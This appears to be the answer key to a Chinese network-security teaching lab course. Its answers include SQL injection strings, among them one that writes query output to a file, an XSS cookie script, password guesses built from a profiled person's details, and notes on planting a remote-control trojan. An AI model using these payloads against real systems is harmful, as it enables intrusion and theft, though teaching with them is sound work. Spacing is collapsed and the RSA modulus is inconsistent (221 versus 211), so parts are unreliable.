网络信息安全教学实验系统v3.2(参考答案)

网络信息安全教学实验系统实验教程〔参考答案〕./实验教程<V3.2>〔参考答案〕TeachingExperimentalSystemofNetworkandInformationSecurity##中软吉大信息技术##.网络信息安全教学实验系统实验教程〔参考答案〕目录知识类实验1实验1敏感信息搜集1练习一敏感信息搜集1实验3密码心理学攻击3练习一密码心理学攻击3实验5古典密码算法4练习一Caesar密码4练习二单表置换密码4实验6对称密码算法5练习二AES算法5练习四RC4算法5实验7非对称密码算法6练习一RSA算法6练习二ELGamal算法6实验8Hash算法7练习一MD5算法7练习二SHA1算法7实验9密码应用9练习一文件安全传输9实验10PKI技术11练习一证书应用11实验11信息隐藏12练习一信息隐藏位图法12练习二LSB水印算法12练习三DCT水印攻击13实验12系统安全14练习一Windows2003系统安全14任务一用户权限管理14任务二审核策略设置14任务三注册表安全设置15任务四TCP/IP筛选15任务五主机安全加固16练习二LinuxFC5系统安全17任务一权限模型17任务二安全访问21任务三SELinux23实验14Web安全25练习一Web脚本攻击25任务一XSS脚本攻击25练习二web服务器安全设置26任务一IIS安全设置26任务二Apache安全设置26练习三日志审计27练习四网络事件审计28实验15数据库安全30练习一SQL注入30实验16软件安全32练习一软件漏洞利用32实验17协议脆弱性分析33练习一SNMP协议脆弱性分析33实验18安全协议34练习一IPSec-IP安全协议34练习二SSL-安全套接层协议34实验19信息搜集36练习一信息搜集36练习二主机发现37任务一ARP主机发现37练习三端口扫描37任务一TCP端口扫描37任务二UDP端口扫描37实验20漏洞扫描38练习二模拟攻击方法38练习三Web漏洞扫描器38实验21网络嗅探39练习二原始套接字嗅探器39练习三Winpcap嗅探器39实验22缓冲区溢出40练习一缓冲区溢出攻击40练习二本地缓冲区溢出40任务一利用跳转指令实现缓冲区溢出40任务二定位参数地址实现缓冲区溢出40任务三缓冲区溢出实现用户权限提升41练习三远程溢出与后门植入41实验23拒绝服务攻击42练习一洪泛攻击42练习三Smurf攻击42实验24欺骗攻击44练习一ARP欺骗44练习二ICMP重定向45实验25网络后门47练习一shell后门47练习二无端口后门47实验26特洛伊木马49练习一网页木马49练习二Webshell49练习三ARP木马与ARP防火墙50练习五木马免杀51练习六跳板52实验27防火墙53练习一Windows2003防火墙应用53练习二iptables应用53实验28入侵检测58练习一基于网络入侵检测系统58练习二NIDS与防火墙联动60练习三NIDS开发61练习四自建实用IDS62实验29VPN64练习三利用OpenVPN构建企业VPN64实验30蜜罐蜜网65练习一蜜罐引入65练习四自制蜜罐65练习五蜜网仿真66实验31引导区病毒67练习一DOS引导区病毒67实验32文件型病毒68练习一PE病毒68实验33宏病毒70练习一Word宏病毒70实验34脚本病毒72练习一Java脚本病毒72练习二VB脚本病毒72实验35型病毒73练习一Outlook病毒73实验36蠕虫病毒74练习一蠕虫仿真74实验37病毒行为分析75练习一病毒行为分析75实验38文件恢复77练习一FAT32文件恢复77练习二Ext2文件恢复78实验39RAID磁盘阵列80练习一RAID基础80练习二RAID应用80实验41Wi-Fi基础应用82练习三AP桥模式82课题类实验83实验2主动防御安全网关的架设83实验3部署多DMZ区的安全企业网络92.知识类实验实验1敏感信息搜集练习一敏感信息搜集表1-1-1可能具有利用价值的信息性别男生日6月21血型B生肖兔星座双子座省份##城市##表1-1-2可能具有利用价值的信息真实朋友王建表1-1-3可能具有利用价值的信息目标##X磊目标学校鲁东大学表1-1-4可能具有利用价值的信息##X磊性别男手机leileiaideni126生日6月21血型B生肖兔星座双子座省份##城市##大学名称鲁东大学大学入学年份2006大学院系机械学院大学班级0603班中学名称####第一中学中学班级03级8班中学毕业年份20##实验3密码心理学攻击练习一密码心理学攻击二.实验流程〔4〕将成功破解到的结果填入表3-1-2中：表3-1-2账户密码host1zhangleiHost219870621Host3Host4zhanglei123Host5zl0621Host6leileiaideni实验5古典密码算法练习一Caesar密码一．手动完成Caesar密码〔1〕对应明文：datasecurityhasevolvedrapidly的密文：__GDWDVHFXULWBKDVHYROYHGUDSLGOB_.练习二单表置换密码二．单表置换密码分析〔2〕在密文中出现频率最高的字母是__A__.与上表比较,它可能是由字母__E__置换的.AbcdefghijklmCHINABDEFGJKLNopqrstuvwxyzMOPQRSTUVWXYZ.实验6对称密码算法练习二AES算法二．AES算法ByteSub变换：ShiftRow变换：练习四RC4算法二．RC4算法1．手动模拟RC4加密〔1〕实例化后的S_Box是:<0x01,0x00,0x07,0x05,0x02,0x04,0x08,0x06,0x03>.〔2〕加密后的密文数字序列是〔0x49,0x67,0x6D,0x64,0x6F,0x22,0x55,0x46,0x32,0x23〕..实验7非对称密码算法练习一RSA算法一．RSA生成公钥与加密解密过程演示〔7〕根据实验原理中对RSA加密算法的介绍,当素数P=13,素数q=17,私钥d=143时,写出RSA公钥的生成过程：n=p*q=13*17=221z=<p-1>*<q-1>=12*16=192e=d-1<modz>=143-1<mod192>=47利用生成的公钥,写出对明文m=40的加密过程〔加密过程计算量比较大,请使用工具箱的RSA工具进行计算〕：c=me<modn>=4047<mod211>=105利用私钥d=143,对生成的密文进行解密：m=cd<modn>=105143<mod211>=40练习二ELGamal算法一．ELGamal生成公钥与加密解密过程演示〔4〕根据实验原理中对ELGamal加密算法的介绍,当素数P=311,本原元素g=136,私钥X=3时,写ELGamal公钥的成生过程：y=gx<modp>=1363<mod311>=88利用生成的公钥,写出对明文m=40,随机数x=2的加密过程：C1=gx<modp>=1362<mod311>=147k=yx<modp>=882<mod311>=280C2=<k*m><modp>=<280*40><mod311>=4利用私钥X=3,对生成的密文进行解密：k=C1X<modp>=1473<mod311>=280k-1=10m=<k-1*C2><modp>=<10*4><mod311>=40.实验8Hash算法练习一MD5算法二．MD5算法请写出第2轮第1步的运算过程以与经过运算后的变量.运算过程：MD5第二轮的逻辑函数为：G<x,y,z>=<x&z>|<y&~z>MD5第2轮的操作程序为：GG<A,B,C,D,M[k],S,T[i]>它表示的逻辑为：A←B+<<A+G<B,C,D>+M[k]+T[i]><<<S><DAEAB5EF&91D9BEE8>|<2E87BDD9&~91D9BEE8>=BECEB5F9所以,逻辑函数值为：BECEB5F9DAEAB5EF+<<2B480E7C+BECEB5F9+31323334+F61E2562><<<5>=E7CE5760将得到的结果E7CE5760写入变量A,运算完成.运算后的变量：A:E7CE5760B:DAEAB5EFC:2E87BDD9D:91D9BEE8练习二SHA1算法二．SHA1算法请写出第21步的运算过程以与经过运算后的变量.运算过程：SHA1的操作程序如下：SHA1第21步的逻辑函数为：ft=B⊕C⊕DSHA1第21步的操作程序为：A=<A<<<5>+ft<B,D,C>+E+Wt+KtB=AC=B<<<30D=CE=Df21=61E7F48C⊕C04BD57B⊕8279FF1E=A=<39669B34<<<5>+23D5DEE9+4E85FC91+E7CBEB94+6ED9EBA1=F5D51936B=39669B34C=61E7F48CD=C04BD57BE=8279FF1E计算完成.运算后的变量：A:F5D51936B:39669B34C:1879FD23D:C04BD57BE:8279FF1E.实验9密码应用练习一文件安全传输实验操作步骤设计:以实验组主机A〔发送方〕和主机B〔接收方〕为例,设计的实验步骤如下.〔1〕主机A与主机B协商实验中用到的加密算法：DES〔对称加密算法〕、RSA〔非对称加密算法〕和MD5〔哈希函数〕；〔2〕主机A、B进入"密码工具〞|"加密解密〞|"RSA加密算法〞|"公钥〞页面,生成各自的公私钥对,并将公钥通告给对方；〔3〕主机A在目录"D:\work\SecComm〞下新建文本文件"安全通信.txt〞.主机A进入"密码工具〞｜"加密解密〞｜"DES加密算法〞｜"加密/解密〞页面,自定义明文与64位密钥,在这里明文m为"Springishere〞〔引号内〕,会话密钥k为"jlcss_ok〞〔引号内〕,单击"加密〞按钮完成加密操作,将得到的密文复制到"安全通信.txt〞文件中；〔4〕主机A进入"MD5哈希函数〞页面,将明文m〔与DES加密的是同一个明文〕输入到文本框中,将生成的十六进制摘要复制到"RSA加密算法〞的"加密/解密签名/验证签名〞页面明文框中,用自己的私钥对摘要进行加密,并将加密结果复制到"安全通信.txt〞新行中；〔5〕主机A打开"RSA加密算法〞的"加密/解密〞页面,在"明文〞框中输入会话密钥k,用主机B的公钥对明文进行加密,将加密结果复制到"安全通信.txt〞新行中.最终"安全通信.txt〞的文件内容类似下图；「说明」上图从上至下第一部分是DES加密密文；第二部分是主机A的数字签名；第三部分是对DES密钥〔会话密钥〕的加密密文.〔6〕主机A将该文件以附件的形式发送给主机B.主机B接收,并将"安全通信.txt〞文件保存至"D:\work\SecComm〞目录中.〔7〕主机B打开文件"安全通信.txt〞,将上图所示的第三部分复制到"RSA加密算法〞的"加密/解密〞页面密文框中,使用自己的私钥解密得到的明文就是会话密钥k’；〔8〕主机B进入"DES加密算法〞的"加密/解密〞页面,使用会话密钥k’对上图所示的第一部分进行解密,得到明文m’；〔9〕主机B对明文m’进行md5哈希计算,得到明文摘要；〔10〕主机B进入"RSA加密算法〞的"签名/验证签名〞页面,使用主机A的公钥对上图所示的第二部分〔主机A的数字签名〕进行签名验证得到明文摘要,将其与自己计算得到的明文摘要进行对比,若相同则表明文件安全通信成功..实验10PKI技术练习一证书应用安全Web通信1．单向认证<仅服务器需要身份认证>〔3〕服务器下载、安装由CA颁发的证书证书信息描述：无法将这个证书验证到一个受信任的证书颁发机构.颁发者：CA.查看其是否存在不存在.服务器下载、安装CA根证书证书信息描述：保证远程计算机的身份.颁发者：CA.查看其是否存在存在..实验11信息隐藏练习一信息隐藏位图法一．分析BMP图像文件头和信息头分析BMP图像文件头和信息头,表11-1-2内容表11-1-2整个文件的大小00240036h=2359350字节从文件开始到图像数据区之间的偏移量54字节每个像素的位数24位压缩类型0：不压缩图像数据的大小2359350－54＝2359296字节练习二LSB水印算法一．嵌入并提取水印<1〕pic1.bmp文件大小2359296字节,其最多可以嵌入589818字节数据.watermark.bmp的文件摘要是：6F67B30549D4A86C053AFD9FD7498F82<3〕再次查看pic1.bmp文件大小2359296字节,对比嵌入前后图像大小变化情况没有变化.<5〕计算提取的水印文件摘要：6F67B30549D4A86C053AFD9FD7498F82,对比这个水印文件摘要内容与之前watermark.bmp文件摘要,结果一致二．LSB水印算法源码答案：参见应用服务器中源码答案11-2.练习三DCT水印攻击一．嵌入并提取水印<1〕watermark.jpg文件摘要是：089F7B4920BD0CE8E4DEC84970E1C496.<4〕计算提取的水印文件的文件摘要：089F7B4920BD0CE8E4DEC84970E1C496..实验12系统安全练习一Windows2003系统安全任务一用户权限管理二．权限的四项基本原则演示1．拒绝优先原则〔5〕访问结果：拒绝访问.2．权限最小原则〔1〕默认情况下用户test2隶属组为：Users.〔2〕操作结果：拒绝修改.3．权限继承原则〔4〕访问结果：test31用户可以完全访问；test32用户只可以读取.4．权限累加原则〔5〕证实test4用户对此目录拥有的权限？test4用户对此目录有读取、写入、执行的权限.三．NTFS分区上分配磁盘配额〔3〕记录文件大小超过5M时的情况系统给出提示.任务二审核策略设置一．设置并验证"审核对象访问〞2．audit目录文件审核〔5〕系统的审核事件序列是：560、567、562.解释序列事件：允许〔权限X围内〕访问已存在对象c:\audit\general.txt；已使用与句柄相关的权限〔WriteData〕；已关闭对象句柄〔c:\audit\general.txt〕.〔6〕系统的审核事件序列是：560、560、567、560、567、562__.解释序列事件：允许〔权限X围内〕访问已存在对象c:\audit\新建文本文档.txt；允许〔WriteData〕访问已存在对象c:\audit；已使用与句柄相关的权限〔WriteData,即文件重命名由"新建文本文档.txt到"general.txt〞〕；允许〔权限X围内〕访问已存在对象c:\audit\general.txt；已使用与句柄相关的权限〔WriteData,C:\audit\general.txt文件写操作〕；关闭对象c:\audit\general.txt句柄.〔7〕系统的审核事件序列是：560、567、562、560、567、562、560、567、562.解释序列事件：允许〔ReadData〕访问已存在对象c:\audit；已使用与句柄相关的权限〔ReadData,c:\audit〕；关闭对象c:\audit句柄；允许〔权限X围内〕访问已存在对象c:\audit\general.txt；已使用与句柄相关的权限〔ReadData〕；关闭对象c:\audit\general.txt句柄；允许〔ReadData〕访问已存在对象c:\audit；已使用与句柄相关的权限〔ReadData,c:\audit〕；关闭对象c:\audit句柄.任务三注册表安全设置一．注册表安全设置5．防火墙TTL主机类型探测〔1〕查看返回TTL值128.〔2〕查看本机TTL值110.任务四TCP/IP筛选一．端口筛选〔4〕访问结果：无法显示网页.〔6〕此时主机A的Netcat提示信息是：主机A的Netcat提示信息是：connectto[主机A的IP]from主机B的主机名称[主机B的IP]主机B的连接端口.任务五主机安全加固一．漏洞扫描与测试1．漏洞扫描 表12-1-1检测报告表系统类型Windows2003开放端口与服务〔端口/服务〕端口服务21ftp23telnet80www135epmap139netbios-ssn445microsoft-ds系统用户Administrator；Guest；IUSER_HOST；IWAM_HOST；student；SUPPORT_388945a0；test；zzzz2．漏洞测试〔3〕在主机B的D盘下新建名称为"jlcss〞的文件夹,命令为mkdirjlcss.通知主机B查看D盘是否出现名为"jlcss〞的文件夹是.〔4〕主机A打开IE浏览器,在地址栏中输入"ftp://主机B的IP地址〞,能否访问能.二．安全加固实施2．关闭ipc$空连接出现提示：发生系统错误64.指定的网络名不再可用.3．禁用NetBIOS出现提示：Hostnotfound.4．关闭445端口〔2〕此时445端口是否开启否.5．禁止Telnet服务.主机A重新telnet主机B,出现提示不能打开到主机的连接,在端口23:连接失败.6．禁止ftp服务主机B的21端口是否关闭？是主机A通过ftp访问主机B,结果如何？无法与服务器建立连接三．加固测试表12-1-2加固测试检测报告对比项加固前加固后扫描时间系统当前时间系统当前时间漏洞数量50警告数量150提示数量287是否发现安全漏洞是否是否检测到NetBIOS信息是否练习二LinuxFC5系统安全任务一权限模型一．用户账户操作1．添加用户〔1〕执行命令：useradd-d/home/user1-s/bin/bashuser1.执行命令：passwduser1. 〔2〕执行命令：useradd-d/home/user2-s/bin/shuser2.执行命令：passwduser2.〔3〕执行命令:vim/etc/passwd.查看结果如下：user1:x:502:502::/home/user1:/bin/bash.user2:x:503:503::/home/user2:/bin/sh.〔4〕允许user1或user2写操作的目录有：①目录所有者非user和user2,文件访问权限为所有人可写.如/etc、/tmp目录.②目录所属组为user1或user2组,文件访问权限为属组可写.③目录所有者为user1或user2,文件访问权限为所有者可写.如/home/user1或/home/user2.2．添加用户组 〔1〕执行命令：groupadd-g601newgroup1.〔2〕执行命令：groupadd-g602newgroup2.〔3〕执行命令:vim/etc/group.查看结果如下：newgroup1:x:601:.newgroup2:x:602:.3．添加用户附加组 〔1〕执行命令：usermod-Gnewgroup1,newgroup2user1. 〔2〕执行命令：usermod-Gnewgroup1,newgroup2user2.〔3〕执行命令:vim/etc/group.查看结果如下：newgroup1:x:601:user1,user2.newgroup2:x:602:user1,user2.4．用户组删除用户 〔1〕执行命令：gpasswd-duser1newgroup1. 〔2〕执行命令：gpasswd-duser2newgroup2.〔3〕执行命令:vim/etc/group.查看结果如下：newgroup1:x:601:user2.newgroup2:x:602:user1.5．删除用户 〔1〕执行命令：userdel-ruser1. 〔2〕执行命令：userdel-ruser2.〔3〕执行命令:vim/etc/passwd.〔4〕执行命令:vim/etc/group.查看结果如下：newgroup1:x:601:.newgroup2:x:602:.6．删除用户组〔1〕执行命令：groupdelnewgroup1.〔2〕执行命令：groupdelnewgroup2.二．文件访问权限1．表12-2-1gzip文件属性文件数1文件所有者root文件属组root文件大小〔字节〕299464最后访问时间略表12-2-2gzip文件访问权限文件所有者文件属组其它用户读取可读可读可读写入可写不可写不可写执行可执行可执行可执行2．修改文件访问权限〔1〕执行命令:cp/usr/bin/gnome-terminal/home/guest.〔2〕执行命令：cp/usr/bin/gnome-terminal/home/guestgnome-terminal2.chmodo-xgnome-terminal2或chmod754gnome-terminal2.〔3〕gnome-ternimal2没有执行成功;因为guest用户没有执行权限.〔4〕执行命令：chgrpguestgonme-terminal2或chown：guestgonme-terminal2此时文件gnome-terminal2的权限位为：rw表示：-rwxr-xr--.代码表示：754.〔5〕成功；因为gnome-terminal2文件属组为guest,guest用户对该文件有执行权限.3．设置默认权限〔1〕默认文件访问权限是0022,将其翻译为rw表示为：-rwxr-xr-x.〔2〕mask值为0037.〔3〕执行命令：cp/usr/bin/gnome-terminal/home/guest.4．特殊权限位〔1〕〔第一次〕在guest用户控制台中执行writecode,code文件是否写入成功不成功.为什么只有root用户〔文件拥有者〕对code文件拥有写权限,以guest用户执行writecode对code文件进行写操作权限不够.〔第二次〕在guest用户控制台中执行writecode,code文件是否写入成功成功.为什么setuid权限位可以让一般用户在执行程序时,能够使执行用户暂时拥有文件所有者的权限,即guest用户对writecode拥有了root的权限.〔2〕code文件的访问权限：root用户只读,root组用户可写,其它用户只读.writecode文件的访问权限：root用户读、写、执行,root组用户读、执行,其它用户读、执行.〔第一次〕在guest用户控制台中执行writecode,code文件是否写入成功不成功.为什么此时只有root组用户才可对code文件进行写操作.〔第二次〕在guest用户控制台中执行writecode,code文件是否写入成功成功.为什么setgid权限位可以让一般用户在执行程序时,能够使执行用户暂时拥有文件所属组的权限,即guest用户对writecode用户拥有了root组的权限.任务二安全访问一．使用xinetd实施主机访问控制1．telnet服务的参数配置〔2〕telnet监听端口23.telnet服务守护进程名xinetd.〔3〕表12-2-3xinetd-telnet配置项启动xinetd服务时是否自动打开telnet服务disable=notelnet服务使用的数据传输方式socket_type=stream执行telnet服务的用户user=root启动telnet服务所使用的命令wait=no登录不成功时日志记载的信息log_on_failure+=USERID〔4〕记录追加的配置项：no_access=同组主机IP.〔5〕登录不成功；因为本机已经拒绝同组主机访问本机的telnet服务.〔6〕记录追加的配置项：per_source=2.重启xinetd服务命令：servicexinetdrestart.〔7〕登录成功次数为2.同组主机继续尝试登录：成功.〔8〕注释掉pre_source项.禁止系统提供telnet服务,命令：disable=yes.二．使用TCPWrappers实施主机访问控制〔4〕同组主机尝试远程登录、FTP登录当前主机.登录不成功.〔5〕请同实验组其它主机远程登录、FTP登录当前主机.登录成功.〔6〕添加规则内容为ALL：ALL.登录状况：不成功.〔7〕规则内容为：in.telnetd:同组主机IPvsftpd：同组主机IP〔8〕/var/log/tcp-wrappers日志中的信息格式：星期；月；日期；时间；CST；年；同组主机IP.三．使用SSH安全通信〔2〕主机间是否为明文传输是；可否捕获到telnet登录口令可以.2．FTP传输的不安全性验证〔1〕记录输入的明文内容略.〔2〕Snort命令：·/snort-devsrc本机IPorsrc同组主机IP.3．SSH远程登录〔3〕Snort命令：·/snort-devsrc本机IPorsrc同组主机IP.〔5〕SSH服务器版本号OpenSSH4.3.捕获到的客户端登录口令：登录口令捕获不到.主机间信息传输是否安全：安全〔密文传输〕.4．SCP远程文件复制〔1〕Snort命令：·/snort-devsrc本机IPorsrc同组主机IP.〔3〕捕获到的客户端登录口令：登录口令捕获不到.文件拷贝是否安全,为什么？安全；因为传输信息是密文传输.5．修改SSH服务为xinetd启动 〔2〕停止sshd服务,命令：/etc/init.d/sshdstop. 〔3〕重启xinetd服务,命令：servicexinetdrestart. 〔4〕查看sshd服务端口对应的进程：netstat-natp查看对应的进程名称为xinetd. 〔5〕同组主机访问SSH服务：可以成功访问ssh服务.任务三SELinux一．增强Apache服务安全〔1〕在/opt目录下新建目录virdir,具体命令是：mkdir/opt/virdir.〔2〕重新启动d服务,具体命令是：servicedrestart.〔3〕页面访问信息为:openfilefailed.分析产生该结果的原因：apache系统用户对test.php文件无写权限.〔4〕操作方法：chownapache:apache/opt/virdir.页面访问信息为writefilesuccess!.〔5〕查看虚拟目录安全上下文:无.〔6〕操作方法：vim/etc/selinux/config.〔7〕页面访问信息为openfilefailed.分析产生该结果的原因：apache服务进程d的安全domain为_t,此域仅能够读被赋予d_sys_content_t标签的文件.〔8〕页面访问信息为writefilesuccess!.解释上述原因：虚拟目录与目录内包含的文件拥有了d_sys_content_t标签.二．增强Mysql数据库安全〔1〕启动mysqld服务.servicemysqldstart.〔3〕mv/var/lib/mysql/test/opt.〔4〕vim/etc/selinux/config.〔5〕mv/opt/test/var/lib/mysql.查看test、mysql目录安全上下文,具体命令是：ls-dZ目录名.二者的安全上下文分别是：system_u:object_r:usr_t.system_u:object_r:mysqld_db_t.〔6〕操作是否成功？否.〔7〕操作方法：chcon-R-tmysqld_db_t/var/lib/mysql/test.〔8〕操作是否成功？成功.mysql服务进程mysqld的安全domain〔域〕：mysqld_db_t.mysqld安全域对带〔mysqld_db_t〕标签的文件具有读写权限..实验14Web安全练习一Web脚本攻击任务一XSS脚本攻击一．认识XSS2．对DOM技术的利用〔1〕结果该页面利用DOM技术中的document.URL对象取出name参数后面的字符串username,然后用document.write函数将其显示到网页中.〔2〕代码<script>alert<document.cookie></script>将被插入到当前的网页中,浏览器直接执行了这段代码后,就会将用户的cookie信息直接显示出来,XSS攻击发生了.二．盗取cookie〔1〕这说明父页在一定条件下能够控制子页的某些行为.〔3〕这段代码主要是将盗取的cookie保存至主机A服务器的cookie.txt文件中.〔6〕访问地址为://主机A的IP:9090/xss.html.三.脚本攻击〔StoredXSS〕〔3〕主机B用test账号访问自己主机中的论坛,并来到mymodify.asp页面,观察效果,效果为网页弹出了主机A中的index.html页面.四.DOM-BasedXSS挖掘〔3〕实验效果为：网页中被插入了asptroy.asp页面.〔4〕主机A与同组人一起讨论应如何利用该漏洞将iframe中的width与heigh数值设置为0,隐藏插入的恶意网页,并将构造的URL脚本部分进行转码,伪装URL,使用该URL进行欺骗攻击.练习二web服务器安全设置任务一IIS安全设置一．搭建IIS服务器3．创建FTP站点主机B打开IE浏览器,登录主机A的FTP站点"ftp://主机A的IP地址:7777〞并尝试对"A的文本文档.txt〞进行读取/写入/修改/删除等操作,查看哪种操作成功.只有读取成功.二．身份验证和权限设置2．FTP站点的身份验证和权限设置主机B此时是否可以将写好的文本文件复制到FTP站点内?可以.任务二Apache安全设置一．熟悉Apache配置〔1〕Apache的文档根目录/var/www/html.〔2〕该Apache的文档根目录可以使用哪些特性OptionsIndexesFollowSymLinks;AllowOverrideNone;Orderallow,deny;allowfromall..〔3〕访问本机test目录,观察访问结果可以成功访问,列出该目录下的所有文件名.再次访问本机test目录,观察访问结果提示Forbidden,禁止访问.对比以上两种现象,说明Indexes选项的作用与其在实际应用中的意义Indexes选项可以控制在访问目录时果然没有默认主页是否显示该目录下的所有文件,在实际应用中可以防止黑客扫描该服务器上的所有网页.〔4〕访问本机页面"文档根目录/test/one.html〞,观察访问结果NotFound.再次访问本机test目录,观察访问结果成功访问到one.html中的内容.对比两次现象,说明采用Apache的AuthConfig模型的作用与其在实际应用中的意义：__AuthConfig模型,可以在目录级别控制访问权限,在实际应用中可以限制某个目录需要授权才能访问_.二．制作CGI页面〔1〕修改/var/www/cgi-bin目录下的first.cgi文件,输出当前机器的网络状态〔ifconfig〕,访问该页面.修改/var/www/cgi-bin目录下的"first.cgi〞文件：在该页面中的<HTML>和</HTML>之间添加"ifconfig〞语句.〔2〕在cgi-bin目录下创建second.cgi文件,用于显示"使用者发出request的远端IP地址〞,访问该页面.在cgi-bin目录下创建"second.cgi〞文件：在该页面中的<HTML>和</HTML>之间添加"echo$REMOTE_ADDR〞语句.三．创建用户目录 〔1〕记录user用户主目录的访问权限rwxr-xr-x. 〔2〕在user用户主目录下创建目录public_html,记下public_html目录的访问权限rwxr-xr-x,此目录上user用户的文档主目录.练习三日志审计一．Web日志审计2．访问无权限和不存在的网页〔3〕参考实验原理部分的自定义错误类型,这个错误代码代表的错误消息是禁止访问：客户端的IP地址被拒绝.〔5〕参考实验原理部分的自定义错误类型,这个错误代码代表的错误消息是文件或目录未找到.3．分别自定义日志格式〔2〕举例说明日志格式:2008-01-0306:14:140.扫面的日期为20XX01月03日.二．FTP日志审计1．匿名登录FTP服务器〔2〕操作是否成功？不成功.〔5〕操作是否成功？不成功.〔7〕本机再次将文件upload.txt上传至同组主机FTP服务器,是否成功？成功.2．用户登录FTP服务器〔2〕登录都能否成功？最后一次登录成功.练习四网络事件审计一．概要事件审计〔5〕本机提供的、FTP、TELNET服务端口号分别为80、21、23.二．详细事件审计1．Web事件审计〔4〕同组主机在与应用服务器进行数据通信前,首先发生的网络行为是建立连接.同组主机所使用的协议版本／1.1；请求方法是GET.应用服务器使用的Web服务器类型Apache/.在服务器的状态响应中：成功建立后,服务器首先返回的状态码是200；服务器返回的内容类型是image/jpeg.2．FTP事件审计〔2〕本机通过NetAudit查看客户端向服务器发送用户名的命令与参数是USERanonymous.FTP服务器的响应状态代码是：331.本机通过NetAudit查看客户端向服务器发送密码的命令与参数是PASSIEUser.FTP服务器的响应状态代码是：230.同组主机在本地创建文本文件a.txt,文件内容任意,然后此文件复制到FTP服务器上.本机通过NetAudit查看客户端向服务器发送的命令与参数是STORa.txt,在文件传送完成后FTP服务器的响应状态代码是：226.同组主机将FTP服务器上的文件a.txt的文件名修改为b.txt.本机通过NetAudit查看客户端向服务器发送的命令与参数是RNFRa.txtRNTOb.txt,在文件操作完成后FTP服务器的响应状态代码是：250.同组主机将FTP服务器上的文件b.txt复制到本地.本机通过NetAudit查看客户端向服务器发送的命令与参数是RETRb.txt,在文件操作完成后FTP服务器的响应状态代码是：226.同组主机将FTP服务器上的文件b.txt删除.本机通过NetAudit查看客户端向服务器发送的命令与参数是DELEb.txt,在文件操作完成后FTP服务器的响应状态代码是：250.3．SMTP事件审计〔3〕发送方与服务器的25端口建立连接.连接成功后,服务器返回响应代码220.发送方使用命令MAILFROM将发送方的地址发送给服务器.操作成功后服务器返回响应代码250.发送方使用命令RCPTTO将接收方的地址发送给服务器.操作成功后服务器返回响应代码250.发送方使用命令DATA告知服务器即将开始向服务器上传数据.服务器返回响应代码354告知发送方可以开始数据的传输,传输完成后以".〞结束.在数据传输成功后,发送方使用命令QUIT退出与服务器的连接.服务器返回响应代码221关闭连接.4．POP3事件审计〔3〕接收方与服务器的110端口建立连接.连接成功后服务器返回状态码＋OK表示连接成功.连接成功后接收方使用命令USER和PASS向服务器发送用户名和密码登录服务器.登录成功后接收方使用命令STAT请求的统计资料.操作成功后服务器返回状态码和清单+OK数总字节数.接收方使用命令RETR请求下载由参数标识的信息.服务器返回相应的状态码和.获取后接收方使用命令DELE请求在服务器上删除已获取的.操作成功后接收方使用命令QUIT退出与服务器的连接..实验15数据库安全练习一SQL注入一．PHP访问MySQL简单实例2.编写PHP脚本查询user数据库表写出此时PHP脚本中具体的SQL查询语句：SELECT*FROMuserWHEREusername='angel'ANDpassword='mypass'.3.实施SQL注入〔1〕注入是否成功？不成功.写出此时PHP脚本中具体的SQL查询语句：SELECT*FROMuserWHEREusername='angel'or1=1'ANDpassword=''.〔2〕注入是否成功？成功.写出此时PHP脚本中具体的SQL查询语句：SELECT*FROMuserWHEREusername='angel'or'1=1'ANDpassword=''.通过分析SQL查询语句解释实验现象：SQL查询时逻辑AND优先逻辑OR.〔3〕注入是否成功？成功.写出此时PHP脚本中具体的SQL查询语句：SELECT*FROMuserWHEREusername='angel'#'ANDpassword=''.〔4〕利用"/*〞实现注入的URL语句：：//本机IP/access.php?username=angel'%2F%2A.SQL查询语句：SELECT*FROMuserWHEREusername='angel'/*'ANDpassword=''.〔5〕SQL查询语句：SELECT*FROMuserWHEREusername=''ANDpassword=''or1=1andusername='angel'.URL:://本机IP/access.php?username=&password='or1=1andusername='angel.〔6〕SQL查询语句：SELECT*FROMuserWHEREusername=''ANDpassword=''or1=1anduserid='1'.URL：://本机IP/access.php?username=&password='or1=1anduserid='1.二．搜索引擎注入3.编写PHP脚本查询file数据库表输入关键字"snort〞,进行搜索,搜索结果中含有多少条记录？3条.记录中是否包含与snort关键字无关的项不包含.写出此时PHP脚本中具体的SQL查询语句：SELECT*FROMfileWHERETITLELIKE'%snort%'.4.SQL注入〔1〕输入关键字"%〞,进行搜索,搜索结果中含有多少条记录？4.记录中是否包含与snort关键字无关的项包含honeypotpaper.写出此时PHP脚本中具体的SQL查询语句：SELECT*FROMfileWHERETITLELIKE'%%%'.解释SQL查询语句含义：索引TITLE列,模糊查询全部记录.〔2〕写出此时PHP脚本中具体的SQL查询语句：SELECT*FROMfileWHERETITLELIKE'%_'ORDERBYfileid#%'.解释SQL查询语句含义：按fileid顺序〔由小到大〕,模糊查询全部记录.三．注入实现导出文件基于步骤一,写出能够实现〔SQL注入〕上述功能的URL：://本机IP/access.php?username='or1=1intooutfile'/etc/temp.txt'%23写出此时PHP脚本中具体的SQL查询语句：SELECT*FROMuserWHEREusername=''or1=1intooutfile'/etc/temp.txt'#'ANDpassword=''.四．通过注入提升用户权限〔1〕写出数据表包含的字段名称：通过输入describeregister命令,得到数据表包含字段名称为Field、Type、Null、Key、Default、Extra.〔2〕注册用户级别〔userlevel〕3.〔3〕单击"注册〞按钮,用户注册级别1.写出此时PHP脚本中具体的SQL查询语句：INSERTINTOregisterVALUES<0,’jlcss’,’1234’,’’,’1’>#’,3>.实验16软件安全练习一软件漏洞利用一．Outlook通讯簿中的安全隐患2.验证通讯薄备份的自动恢复功能〔1〕主机A运行"host1A.WAB〞,打开Outlook通讯薄,可以在"主标识的联系人〞中查看联系人信息：##host1A,电子地址host1ACServer.NetLab.关闭Outlook通讯薄,可以发现在桌面生成"host1A.WAB~〞,此文件即为"host1A.WAB〞的备份文件.〔3〕主机A再次运行"host1A.WAB〞文件,提示如下信息：查看通讯薄中联系人信息：##host1A,电子地址host1ACServer.NetLab.3.通讯薄备份的自动恢复功能漏洞利用〔3〕主机A再次将文件"host1A.WAB〞中数据破坏,恢复后查看通讯薄,可以观察到通讯薄"host1A.WAB〞中联系人信息已经被篡改,其中联系人信息为：##jlcss,电子地址jlcssCServer.NetLab.二．利用迅雷漏洞植入木马1．生成网页木马〔4〕访问网页木马主机A查看"灰鸽子远程控制〞程序主界面的"文件管理器〞属性页中"文件目录浏览〞树,是否出现上线主机否？2．木马的植入〔3〕主机A查看"灰鸽子远程控制〞程序主界面的"文件管理器〞属性页中"文件目录浏览〞树,此时是否出现上线主机是？3．迅雷网页木马的防御方法〔3〕主机A查看"灰鸽子远程控制〞程序主界面的"文件管理器〞属性页中"文件目录浏览〞树,此时是否出现上线